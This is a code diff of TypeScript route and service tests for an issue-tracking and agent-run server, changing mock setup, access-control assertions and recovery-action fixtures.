await request(createApp(adminActor)).get(`/api/instance/task-drain?idleSleepSafety=1&ownerId=${ownerId}`).expect(200);
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenLastCalledWith(mockDb, expect.any(Function), Date.now, ownerId, expect.any(Function), undefined, undefined, false);
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenLastCalledWith(mockDb, expect.any(Function), Date.now, ownerId, expect.any(Function), undefined, undefined, false, false);
|
||||
});
|
||||
|
||||
it.each([{}, { ttlMs: null }, { ttlMs: 1 }, { ttlMs: 300_001 }])("rejects an unbounded or invalid idle TTL: %j", async body => {
|
||||
@@ -934,21 +934,21 @@ describe("instance settings routes", () => {
|
||||
const res = await request(createApp(adminActor)).get("/api/instance/task-drain?idleSleepSafety=1");
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body).toEqual({ ...idleStatus, idleSleepSafety: report });
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenCalledWith(mockDb, expect.any(Function), Date.now, undefined, expect.any(Function), undefined, undefined, false);
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenCalledWith(mockDb, expect.any(Function), Date.now, undefined, expect.any(Function), undefined, undefined, false, false);
|
||||
expect(mockReadIdleSleepSafety.mock.calls[0][1]()).toEqual(idleStatus);
|
||||
});
|
||||
|
||||
it("reserves routine deadline reports for verified Cloud control callers", async () => {
|
||||
it.each(["1", "2"])("reserves scheduling capability %s for verified Cloud control callers", async version => {
|
||||
mockHeartbeatService.getTaskDrainStatus.mockReturnValue(idleStatus);
|
||||
for (const source of ["session", "cloud_tenant", "local_implicit"]) {
|
||||
await request(createApp({ ...adminActor, source }))
|
||||
.get("/api/instance/task-drain?idleSleepSafety=1&scheduledWake=1&ownerId=fixture-owner").expect(403);
|
||||
.get(`/api/instance/task-drain?idleSleepSafety=1&scheduledWake=${version}&ownerId=fixture-owner`).expect(403);
|
||||
}
|
||||
expect(mockReadIdleSleepSafety).not.toHaveBeenCalled();
|
||||
await request(createApp({ ...adminActor, source: "cloud_control" }))
|
||||
.get("/api/instance/task-drain?idleSleepSafety=1&scheduledWake=1&ownerId=fixture-owner").expect(200);
|
||||
.get(`/api/instance/task-drain?idleSleepSafety=1&scheduledWake=${version}&ownerId=fixture-owner`).expect(200);
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenCalledWith(mockDb, expect.any(Function), Date.now,
|
||||
"fixture-owner", expect.any(Function), undefined, undefined, true);
|
||||
"fixture-owner", expect.any(Function), undefined, undefined, true, version === "2");
|
||||
});
|
||||
|
||||
it("uses the live worker manager for inspection and releases only the owned hold", async () => {
|
||||
@@ -983,7 +983,7 @@ describe("instance settings routes", () => {
|
||||
expect(mockReadIdleSleepSafety).not.toHaveBeenCalled();
|
||||
await request(app).get("/api/instance/task-drain?idleSleepSafety=1&ownerId=fixture-owner").expect(200);
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenCalledWith(mockDb, expect.any(Function), Date.now,
|
||||
"fixture-owner", expect.any(Function), undefined, backup, false);
|
||||
"fixture-owner", expect.any(Function), undefined, backup, false, false);
|
||||
mockReadIdleSleepSafety.mockClear();
|
||||
await request(createApp(nonAdminActor, undefined, backup)).get("/api/instance/task-drain?idleSleepSafety=1").expect(403);
|
||||
expect(mockReadIdleSleepSafety).not.toHaveBeenCalled();
|
||||
@@ -1005,7 +1005,7 @@ describe("instance settings routes", () => {
|
||||
const control = createApp({ ...adminActor, source: "cloud_control" }, undefined, backup);
|
||||
await request(control).get("/api/instance/task-drain?idleSleepSafety=1&ownerId=fixture-owner").expect(200);
|
||||
expect(mockReadIdleSleepSafety).toHaveBeenCalledWith(mockDb, expect.any(Function), Date.now,
|
||||
"fixture-owner", expect.any(Function), undefined, backup, false);
|
||||
"fixture-owner", expect.any(Function), undefined, backup, false, false);
|
||||
} finally {
|
||||
delete process.env.PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN;
|
||||
}
|
||||
|
||||
@@ -273,6 +273,7 @@ describeEmbeddedPostgres("cross-issue interaction resolution cap (routes + postg
|
||||
count: CROSS_ISSUE_INFLUENCE_LIMIT + 1,
|
||||
mode: "enforce",
|
||||
});
|
||||
expect(res.body.error).toContain("Try this:");
|
||||
// The refusal must not leak the run's own (possibly inaccessible) source
|
||||
// issue or the resolver policy it passed.
|
||||
expect(JSON.stringify(res.body)).not.toContain(sourceIssueId);
|
||||
@@ -297,12 +298,16 @@ describeEmbeddedPostgres("cross-issue interaction resolution cap (routes + postg
|
||||
expect(wakes).toEqual([]);
|
||||
|
||||
const resolutionActivity = await db
|
||||
.select({ action: activityLog.action })
|
||||
.select({ action: activityLog.action, details: activityLog.details })
|
||||
.from(activityLog)
|
||||
.where(and(eq(activityLog.companyId, companyId), eq(activityLog.entityId, targetIssueId)));
|
||||
expect(resolutionActivity.map((row) => row.action)).toEqual([
|
||||
"issue.cross_issue_influence_cap_rejected",
|
||||
]);
|
||||
expect(resolutionActivity[0].details).toMatchObject({
|
||||
kind: "interaction_resolution",
|
||||
allowed: false,
|
||||
});
|
||||
expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_observed"))
|
||||
.toBe(CROSS_ISSUE_INFLUENCE_LIMIT);
|
||||
},
|
||||
|
||||
@@ -1132,22 +1132,6 @@ describe("agent issue mutation checkout ownership", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("stores the authenticated agent run id when creating work products", async () => {
|
||||
const app = await createApp(ownerActor());
|
||||
|
||||
await request(app).post(`/api/issues/${issueId}/work-products`).send({
|
||||
type: "artifact",
|
||||
provider: "test",
|
||||
title: "Artifact",
|
||||
}).expect(201);
|
||||
|
||||
expect(mockWorkProductService.createForIssue).toHaveBeenCalledWith(
|
||||
issueId,
|
||||
companyId,
|
||||
expect.objectContaining({ createdByRunId: ownerRunId }),
|
||||
);
|
||||
});
|
||||
|
||||
it("adds the authenticated run diff summary to PR work products", async () => {
|
||||
mockWorkProductService.latestRunDiffSummary.mockResolvedValue({
|
||||
additions: 17,
|
||||
|
||||
@@ -2,7 +2,7 @@ import { Readable } from "node:stream";
|
||||
import type { IncomingMessage } from "node:http";
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { StorageService } from "../storage/types.js";
|
||||
|
||||
const mockIssueService = vi.hoisted(() => ({
|
||||
@@ -224,7 +224,7 @@ describe("MAX_ATTACHMENT_BYTES", () => {
|
||||
});
|
||||
|
||||
describe("issue attachment routes", () => {
|
||||
beforeEach(() => {
|
||||
beforeAll(() => {
|
||||
vi.resetModules();
|
||||
vi.doUnmock("@paperclipai/shared/telemetry");
|
||||
vi.doUnmock("../telemetry.js");
|
||||
@@ -235,6 +235,9 @@ describe("issue attachment routes", () => {
|
||||
vi.doUnmock("../routes/authz.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
registerRouteMocks();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockAccessService.decide.mockResolvedValue({
|
||||
allowed: true,
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { shouldWakeOnRestoredBlockedDependency } from "../services/issue-dependency-wakeups.js";
|
||||
|
||||
const base = {
|
||||
previousStatus: "in_progress",
|
||||
nextStatus: "blocked",
|
||||
previousAssigneeAgentId: "agent-1",
|
||||
nextAssigneeAgentId: "agent-1",
|
||||
blockerSetEdited: false,
|
||||
actorType: "user",
|
||||
actorAgentId: null,
|
||||
};
|
||||
|
||||
describe("shouldWakeOnRestoredBlockedDependency", () => {
|
||||
it("wakes the assignee when the board blocks an issue whose blockers are already resolved", () => {
|
||||
expect(shouldWakeOnRestoredBlockedDependency(base)).toBe(true);
|
||||
});
|
||||
|
||||
it("does not wake the assignee agent that blocked its own issue (re-block loop regression)", () => {
|
||||
expect(shouldWakeOnRestoredBlockedDependency({ ...base, actorType: "agent", actorAgentId: "agent-1" })).toBe(false);
|
||||
expect(
|
||||
shouldWakeOnRestoredBlockedDependency({ ...base, actorType: "agent", actorAgentId: "agent-1", blockerSetEdited: true }),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("still wakes when another agent blocks the issue or the assignee changes", () => {
|
||||
expect(shouldWakeOnRestoredBlockedDependency({ ...base, actorType: "agent", actorAgentId: "agent-2" })).toBe(true);
|
||||
expect(
|
||||
shouldWakeOnRestoredBlockedDependency({
|
||||
...base,
|
||||
actorType: "agent",
|
||||
actorAgentId: "agent-2",
|
||||
previousAssigneeAgentId: "agent-1",
|
||||
nextAssigneeAgentId: "agent-2",
|
||||
}),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("keeps the existing gates: already blocked with no edit, not blocked, or unassigned", () => {
|
||||
expect(shouldWakeOnRestoredBlockedDependency({ ...base, previousStatus: "blocked" })).toBe(false);
|
||||
expect(shouldWakeOnRestoredBlockedDependency({ ...base, previousStatus: "blocked", blockerSetEdited: true })).toBe(true);
|
||||
expect(shouldWakeOnRestoredBlockedDependency({ ...base, nextStatus: "todo" })).toBe(false);
|
||||
expect(shouldWakeOnRestoredBlockedDependency({ ...base, nextAssigneeAgentId: null })).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -1,6 +1,6 @@
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { normalizeIssueExecutionPolicy } from "../services/issue-execution-policy.ts";
|
||||
|
||||
const mockIssueService = vi.hoisted(() => ({
|
||||
@@ -200,12 +200,16 @@ async function createApp(actor?: TestActor) {
|
||||
}
|
||||
|
||||
describe("issue execution policy routes", () => {
|
||||
beforeEach(async () => {
|
||||
beforeAll(async () => {
|
||||
vi.resetModules();
|
||||
vi.doUnmock("../services/index.js");
|
||||
vi.doUnmock("../routes/issues.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
registerModuleMocks();
|
||||
await loadAppModules();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockIssueService.assertCheckoutOwner.mockResolvedValue({ adoptedFromRunId: null });
|
||||
mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
|
||||
@@ -267,9 +271,6 @@ describe("issue execution policy routes", () => {
|
||||
};
|
||||
});
|
||||
mockAccessService.hasPermission.mockResolvedValue(false);
|
||||
// Finish cold imports before a test configures its request-specific mocks.
|
||||
// A timed-out import must not resume a request against the next test's mocks.
|
||||
await loadAppModules();
|
||||
});
|
||||
|
||||
it.each([
|
||||
|
||||
@@ -1753,6 +1753,36 @@ describeEmbeddedPostgres("issue recovery actions", () => {
|
||||
expect(list.body.actions).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("lists a settled reconciliation hold that still blocks replay", async () => {
|
||||
const { companyId, coderId, sourceIssueId } = await seedCompany();
|
||||
const runId = randomUUID();
|
||||
const [action] = await db.insert(issueRecoveryActions).values({
|
||||
companyId,
|
||||
sourceIssueId,
|
||||
kind: "active_run_watchdog",
|
||||
status: "resolved",
|
||||
outcome: "blocked",
|
||||
ownerType: "board",
|
||||
returnOwnerAgentId: coderId,
|
||||
cause: "legacy_execution_requires_reconciliation",
|
||||
fingerprint: runId,
|
||||
nextAction: "Preserve recorded work without replay.",
|
||||
evidence: { runId, automaticRecovery: { replay: "blocked", actionOutcome: "unknown" } },
|
||||
}).returning();
|
||||
|
||||
const list = await request(createApp()).get(`/api/issues/${sourceIssueId}/recovery-actions`).expect(200);
|
||||
|
||||
expect(list.body.active).toBeNull();
|
||||
expect(list.body.actions).toEqual([
|
||||
expect.objectContaining({
|
||||
id: action!.id,
|
||||
status: "resolved",
|
||||
cause: "legacy_execution_requires_reconciliation",
|
||||
evidence: { runId, automaticRecovery: { replay: "blocked", actionOutcome: "unknown" } },
|
||||
}),
|
||||
]);
|
||||
});
|
||||
|
||||
it("projects recovery action metadata into the structured wake payload", async () => {
|
||||
const { companyId, managerId, coderId, sourceIssueId } = await seedCompany();
|
||||
const action = await issueRecoveryActionService(db).upsertSourceScoped({
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const ASSIGNEE_AGENT_ID = "11111111-1111-4111-8111-111111111111";
|
||||
const UNRELATED_AGENT_ID = "33333333-3333-4333-8333-333333333333";
|
||||
@@ -309,13 +309,17 @@ async function resolveMockInteraction(
|
||||
}
|
||||
|
||||
describe("issue thread interaction routes", () => {
|
||||
beforeEach(async () => {
|
||||
beforeAll(async () => {
|
||||
vi.resetModules();
|
||||
vi.doUnmock("../routes/issues.js");
|
||||
vi.doUnmock("../routes/authz.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
vi.doUnmock("../services/index.js");
|
||||
registerModuleMocks();
|
||||
await loadAppModules();
|
||||
}, 60_000);
|
||||
|
||||
beforeEach(() => {
|
||||
// Every mock here is a vi.hoisted() singleton. All 70+ tests share it.
|
||||
// A queued mockResolvedValueOnce() value can outlive its own test and
|
||||
// leak into a later, unrelated test. vi.resetAllMocks() drains that
|
||||
@@ -581,9 +585,7 @@ describe("issue thread interaction routes", () => {
|
||||
mockCrossIssueInfluence.sourceIssueId = ISSUE_ID;
|
||||
mockCrossIssueInfluence.priorCount = 0;
|
||||
mockCrossIssueInfluence.inserted.length = 0;
|
||||
// Keep cold route imports in setup rather than the HTTP assertion timeout.
|
||||
await loadAppModules();
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
it("creates board-authored interactions", async () => {
|
||||
const app = await createApp();
|
||||
@@ -2882,42 +2884,6 @@ describe("issue thread interaction routes", () => {
|
||||
expect(mockInteractionService.answerQuestions).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("allows the creator agent and creating run under anyone", async () => {
|
||||
mockInteractionService.getForIssue.mockResolvedValueOnce({
|
||||
id: "interaction-open",
|
||||
kind: "ask_user_questions",
|
||||
createdByAgentId: CREATED_AGENT_ID,
|
||||
sourceRunId: RUN_9,
|
||||
requestedResolverPolicy: "anyone",
|
||||
effectiveResolverPolicy: "anyone",
|
||||
resolverPolicyProvenance: "inherited",
|
||||
effectiveResolverPolicySource: "requested",
|
||||
payload: { version: 1, questions: [] },
|
||||
});
|
||||
mockIssueService.getById.mockResolvedValueOnce(createIssue({
|
||||
status: "todo",
|
||||
assigneeAgentId: CREATED_AGENT_ID,
|
||||
}));
|
||||
const app = await createApp({
|
||||
type: "agent",
|
||||
agentId: CREATED_AGENT_ID,
|
||||
companyId: "company-1",
|
||||
runId: RUN_9,
|
||||
});
|
||||
|
||||
const res = await request(app)
|
||||
.post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-open/respond")
|
||||
.send({ answers: [] });
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(mockInteractionService.answerQuestions).toHaveBeenCalledWith(
|
||||
expect.anything(),
|
||||
"interaction-open",
|
||||
expect.anything(),
|
||||
expect.objectContaining({ agentId: CREATED_AGENT_ID, runId: RUN_9 }),
|
||||
);
|
||||
});
|
||||
|
||||
it.each([
|
||||
{
|
||||
kind: "suggest_tasks",
|
||||
@@ -2992,7 +2958,12 @@ describe("issue thread interaction routes", () => {
|
||||
.send(body);
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(mockInteractionService[service as keyof typeof mockInteractionService]).toHaveBeenCalled();
|
||||
expect(mockInteractionService[service as keyof typeof mockInteractionService]).toHaveBeenCalledWith(
|
||||
expect.anything(),
|
||||
`interaction-${kind}`,
|
||||
body,
|
||||
expect.objectContaining({ agentId: CREATED_AGENT_ID, runId: RUN_9 }),
|
||||
);
|
||||
});
|
||||
|
||||
it("enforces same-run exclusion under not_creator and requires a resolver run id", async () => {
|
||||
@@ -3291,48 +3262,6 @@ describe("issue thread interaction routes", () => {
|
||||
});
|
||||
}
|
||||
|
||||
it.each(CROSS_ISSUE_RESOLUTION_ROUTES)(
|
||||
"fails a capped run closed on cross-issue $route with no interaction effect",
|
||||
async ({ route, kind, body, payload, service }) => {
|
||||
stubCrossIssueResolution({ kind, payload });
|
||||
mockCrossIssueInfluence.sourceIssueId = OTHER_ISSUE_ID;
|
||||
mockCrossIssueInfluence.priorCount = 20;
|
||||
const app = await createApp({
|
||||
type: "agent",
|
||||
agentId: ASSIGNEE_AGENT_ID,
|
||||
companyId: "company-1",
|
||||
runId: RUN_2,
|
||||
});
|
||||
|
||||
const res = await request(app)
|
||||
.post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-${kind}/${route}`)
|
||||
.send(body);
|
||||
|
||||
expect(res.status).toBe(429);
|
||||
expect(res.body.details).toMatchObject({
|
||||
code: "cross_issue_influence_cap_exceeded",
|
||||
cap: 20,
|
||||
count: 21,
|
||||
mode: "enforce",
|
||||
});
|
||||
// The refusal names the boundary and the way forward without naming the
|
||||
// run's own inaccessible source issue or the resolver policy.
|
||||
expect(res.body.error).toContain("Try this:");
|
||||
expect(res.body.error).not.toContain(OTHER_ISSUE_ID);
|
||||
expect(res.body.details.code).not.toContain("resolver");
|
||||
// No terminal mutation, activity receipt, continuation, or wake.
|
||||
expect(mockInteractionService[service]).not.toHaveBeenCalled();
|
||||
expect(mockLogActivity).not.toHaveBeenCalled();
|
||||
expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
|
||||
expect(mockCrossIssueInfluence.inserted).toEqual([
|
||||
expect.objectContaining({
|
||||
action: "issue.cross_issue_influence_cap_rejected",
|
||||
details: expect.objectContaining({ kind: "interaction_resolution", allowed: false }),
|
||||
}),
|
||||
]);
|
||||
},
|
||||
);
|
||||
|
||||
it.each(CROSS_ISSUE_RESOLUTION_ROUTES)(
|
||||
"charges one shared cross-issue observation for an allowed $route",
|
||||
async ({ route, kind, body, payload, service }) => {
|
||||
@@ -3365,40 +3294,4 @@ describe("issue thread interaction routes", () => {
|
||||
]);
|
||||
},
|
||||
);
|
||||
|
||||
it("does not charge a same-issue resolution even past the cap", async () => {
|
||||
stubCrossIssueResolution({ kind: "ask_user_questions", payload: { version: 1, questions: [] } });
|
||||
mockCrossIssueInfluence.sourceIssueId = ISSUE_ID;
|
||||
mockCrossIssueInfluence.priorCount = 20;
|
||||
const app = await createApp({
|
||||
type: "agent",
|
||||
agentId: ASSIGNEE_AGENT_ID,
|
||||
companyId: "company-1",
|
||||
runId: RUN_2,
|
||||
});
|
||||
|
||||
const res = await request(app)
|
||||
.post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-ask_user_questions/respond`)
|
||||
.send({ answers: [] });
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(mockInteractionService.answerQuestions).toHaveBeenCalledTimes(1);
|
||||
expect(mockCrossIssueInfluence.inserted).toEqual([]);
|
||||
});
|
||||
|
||||
it("leaves board resolutions outside the per-run counter", async () => {
|
||||
stubCrossIssueResolution({ kind: "ask_user_questions", payload: { version: 1, questions: [] } });
|
||||
mockCrossIssueInfluence.sourceIssueId = OTHER_ISSUE_ID;
|
||||
mockCrossIssueInfluence.priorCount = 20;
|
||||
const app = await createApp();
|
||||
|
||||
const res = await request(app)
|
||||
.post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-ask_user_questions/respond`)
|
||||
.send({ answers: [] });
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(mockInteractionService.answerQuestions).toHaveBeenCalledTimes(1);
|
||||
expect(mockDbTransaction).not.toHaveBeenCalled();
|
||||
expect(mockCrossIssueInfluence.inserted).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -1,6 +1,6 @@
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("../services/fast-responses.js", () => ({
|
||||
enqueueFastResponse: vi.fn(async () => undefined),
|
||||
@@ -134,6 +134,13 @@ vi.mock("../services/index.js", () => ({
|
||||
}));
|
||||
|
||||
function registerModuleMocks() {
|
||||
vi.doMock("../services/external-objects.js", () => ({
|
||||
externalObjectService: () => ({
|
||||
syncCommentSafely: vi.fn(async () => undefined),
|
||||
syncIssueSafely: vi.fn(async () => undefined),
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.doMock("../services/index.js", () => ({
|
||||
companyService: () => ({
|
||||
getById: vi.fn(async () => ({ id: "company-1" })),
|
||||
@@ -205,17 +212,16 @@ function registerModuleMocks() {
|
||||
}));
|
||||
}
|
||||
|
||||
function loadRouteFixture() {
|
||||
async function loadAppModules() {
|
||||
return Promise.all([
|
||||
vi.importActual<typeof import("../middleware/index.js")>("../middleware/index.js"),
|
||||
vi.importActual<typeof import("../routes/issues.js")>("../routes/issues.js"),
|
||||
]);
|
||||
}
|
||||
let routeFixture: Awaited<ReturnType<typeof loadRouteFixture>>;
|
||||
|
||||
async function createApp(transaction: (callback: (tx: Record<string, never>) => Promise<unknown>) => Promise<unknown> =
|
||||
async (callback) => callback({})) {
|
||||
const [{ errorHandler }, { issueRoutes }] = routeFixture;
|
||||
const [{ errorHandler }, { issueRoutes }] = await loadAppModules();
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
app.use((req, _res, next) => {
|
||||
@@ -258,13 +264,17 @@ function makeIssue(overrides: Record<string, unknown> = {}) {
|
||||
}
|
||||
|
||||
describe("issue update comment wakeups", () => {
|
||||
beforeEach(async () => {
|
||||
beforeAll(async () => {
|
||||
vi.resetModules();
|
||||
vi.doUnmock("../routes/issues.js");
|
||||
vi.doUnmock("../routes/authz.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
registerModuleMocks();
|
||||
vi.clearAllMocks();
|
||||
await loadAppModules();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.resetAllMocks();
|
||||
mockAccessDecide.mockImplementation(async (input) => ({ allowed: true, action: input.action, reason: "allow_explicit_grant", explanation: "Allowed by test grant." }));
|
||||
mockPauseGate.mockResolvedValue(null);
|
||||
mockIssueService.findMentionedAgents.mockResolvedValue([]);
|
||||
@@ -276,7 +286,6 @@ describe("issue update comment wakeups", () => {
|
||||
mockIssueService.getWakeableParentAfterChildCompletion.mockResolvedValue(null);
|
||||
mockIssueService.getCurrentScheduledRetry.mockResolvedValue(null);
|
||||
mockIssueService.listReviewAttention.mockResolvedValue(new Map());
|
||||
routeFixture = await loadRouteFixture();
|
||||
});
|
||||
|
||||
it.each(["post", "patch"] as const)("rejects %s board messages under an inherited pause before any mutation", async (method) => {
|
||||
@@ -705,37 +714,6 @@ describe("issue update comment wakeups", () => {
|
||||
}));
|
||||
});
|
||||
|
||||
it("does not wake the assignee for its own run-authenticated top-level comment", async () => {
|
||||
const existing = makeIssue({
|
||||
assigneeAgentId: ASSIGNEE_AGENT_ID,
|
||||
assigneeUserId: null,
|
||||
status: "in_progress",
|
||||
});
|
||||
mockIssueService.getById.mockResolvedValue(existing);
|
||||
mockIssueService.addComment.mockResolvedValue({
|
||||
id: "comment-self-top-level",
|
||||
issueId: existing.id,
|
||||
companyId: existing.companyId,
|
||||
body: "Plan ready for review.",
|
||||
createdByRunId: SOURCE_RUN_ID,
|
||||
});
|
||||
mockHeartbeatService.getRun.mockResolvedValue({
|
||||
id: SOURCE_RUN_ID,
|
||||
companyId: existing.companyId,
|
||||
agentId: ASSIGNEE_AGENT_ID,
|
||||
status: "running",
|
||||
});
|
||||
|
||||
const res = await request(await createApp())
|
||||
.post(`/api/issues/${existing.id}/comments`)
|
||||
.set("X-Paperclip-Run-Id", SOURCE_RUN_ID)
|
||||
.send({ body: "Plan ready for review." });
|
||||
|
||||
expect(res.status).toBe(201);
|
||||
await new Promise<void>((resolve) => setImmediate(resolve));
|
||||
expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it.each((["post", "patch"] as const).flatMap((method) =>
|
||||
["assignee_comment", "board_comment", "human_owned", "unassigned", "blocked_parent", "done_parent", "done_comment", ...(method === "patch" ? ["closing_comment"] : [])].map((scenario) => ({ method, scenario })),
|
||||
))("keeps $method mentions as context for $scenario", async ({ method, scenario }) => {
|
||||
@@ -875,30 +853,4 @@ describe("issue update comment wakeups", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("does not route a plain-text agent name on a human-owned issue comment", async () => {
|
||||
const existing = makeIssue({
|
||||
assigneeAgentId: null,
|
||||
assigneeUserId: "local-board",
|
||||
status: "in_progress",
|
||||
});
|
||||
mockIssueService.getById.mockResolvedValue(existing);
|
||||
mockIssueService.addComment.mockResolvedValue({
|
||||
id: "comment-plain-agent-name",
|
||||
issueId: existing.id,
|
||||
companyId: existing.companyId,
|
||||
body: "QA please take the screenshot",
|
||||
});
|
||||
mockIssueService.findMentionedAgents.mockResolvedValue([]);
|
||||
|
||||
const res = await request(await createApp())
|
||||
.post(`/api/issues/${existing.id}/comments`)
|
||||
.send({
|
||||
body: "QA please take the screenshot",
|
||||
});
|
||||
|
||||
expect(res.status).toBe(201);
|
||||
await new Promise<void>((resolve) => setImmediate(resolve));
|
||||
expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +0,0 @@
|
||||
// Acceptance-matrix entry point for evidence, finalization, CAS, and atomic
|
||||
// status/liveness effects exercised by the real database-backed port suite.
|
||||
import "../services/native-runtime/paperclip-control-plane-port.test.js";
|
||||
import "../services/native-runtime/evidence-classifier.test.js";
|
||||
@@ -1,3 +0,0 @@
|
||||
// Acceptance-matrix entry point. The database-backed suite remains colocated
|
||||
// with the production port so its package conformance fixtures stay adjacent.
|
||||
import "../services/native-runtime/paperclip-control-plane-port.test.js";
|
||||
@@ -95,6 +95,9 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
const bootstrapRetryRunId = "79000000-0000-4000-8000-000000000009";
|
||||
const observedExpiredRunId = "79000000-0000-4000-8000-000000000010";
|
||||
const observedLivePidRunId = "79000000-0000-4000-8000-000000000011";
|
||||
const fixtureRunIds = [runId, cancelledRunId, exhaustedRunId, missingCheckpointRunId,
|
||||
initialRunId, bootstrapRetryRunId, observedExpiredRunId, observedLivePidRunId];
|
||||
const issueForRun = (id: string) => id === runId ? issueId : id;
|
||||
const persistedProfile = {
|
||||
mode: "native",
|
||||
nativeExecutionInput: { schema: "paperclip.native-execution-input.v1", binding: { runId } },
|
||||
@@ -118,14 +121,10 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
adapterType: "codex_local",
|
||||
status: "running",
|
||||
});
|
||||
await db.insert(issues).values({
|
||||
id: issueId,
|
||||
companyId,
|
||||
title: "Resume the same native run",
|
||||
status: "in_progress",
|
||||
assigneeAgentId: agentId,
|
||||
workMode: "standard",
|
||||
});
|
||||
await db.insert(issues).values(fixtureRunIds.map(id => ({
|
||||
id: issueForRun(id), companyId, title: "Resume the same native run",
|
||||
status: "in_progress", assigneeAgentId: agentId, workMode: "standard" as const,
|
||||
})));
|
||||
await db.insert(heartbeatRuns).values([
|
||||
{
|
||||
id: runId,
|
||||
@@ -230,7 +229,10 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
},
|
||||
contextSnapshot: { issueId },
|
||||
})),
|
||||
]);
|
||||
].map(run => ({ ...run, runtimeMode: "native" as const,
|
||||
nativeIssueId: issueForRun(run.id), contextSnapshot: { issueId: issueForRun(run.id) },
|
||||
})));
|
||||
|
||||
await db.insert(nativeRunFinalizations).values([
|
||||
{ runId, companyId, issueId, phase: "retryable_failure", attempt: 1, nextAttemptAt: new Date(0) },
|
||||
{ runId: cancelledRunId, companyId, issueId, phase: "retryable_failure", attempt: 1, nextAttemptAt: new Date(0) },
|
||||
@@ -263,7 +265,10 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
leaseOwner: "prior-native-owner",
|
||||
leaseExpiresAt: new Date(0),
|
||||
})),
|
||||
]);
|
||||
].map(value => ({ ...value, issueId: issueForRun(value.runId),
|
||||
phase: value.phase as typeof nativeRunFinalizations.$inferInsert.phase,
|
||||
})));
|
||||
|
||||
}, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS);
|
||||
|
||||
afterAll(async () => temporary?.cleanup());
|
||||
@@ -276,12 +281,15 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
);
|
||||
const eligibleRunId = "79100000-0000-4000-8000-000000000099";
|
||||
const candidateRunIds = [...heldRunIds, eligibleRunId];
|
||||
await db.insert(issues).values(candidateRunIds.map(id => ({
|
||||
id, companyId, title: "Independent recovery candidate", status: "in_progress", assigneeAgentId: agentId,
|
||||
})));
|
||||
await db.insert(heartbeatRuns).values(
|
||||
candidateRunIds.map((candidateRunId) => ({
|
||||
id: candidateRunId,
|
||||
companyId,
|
||||
agentId,
|
||||
nativeIssueId: issueId,
|
||||
nativeIssueId: candidateRunId,
|
||||
status: "running",
|
||||
runtimeMode: "native",
|
||||
nativePhase:
|
||||
@@ -309,7 +317,7 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
candidateRunIds.map((candidateRunId) => ({
|
||||
runId: candidateRunId,
|
||||
companyId,
|
||||
issueId,
|
||||
issueId: candidateRunId,
|
||||
phase: "retryable_failure",
|
||||
attempt: 1,
|
||||
nextAttemptAt: new Date(0),
|
||||
@@ -341,12 +349,14 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
),
|
||||
).toBe(true);
|
||||
} finally {
|
||||
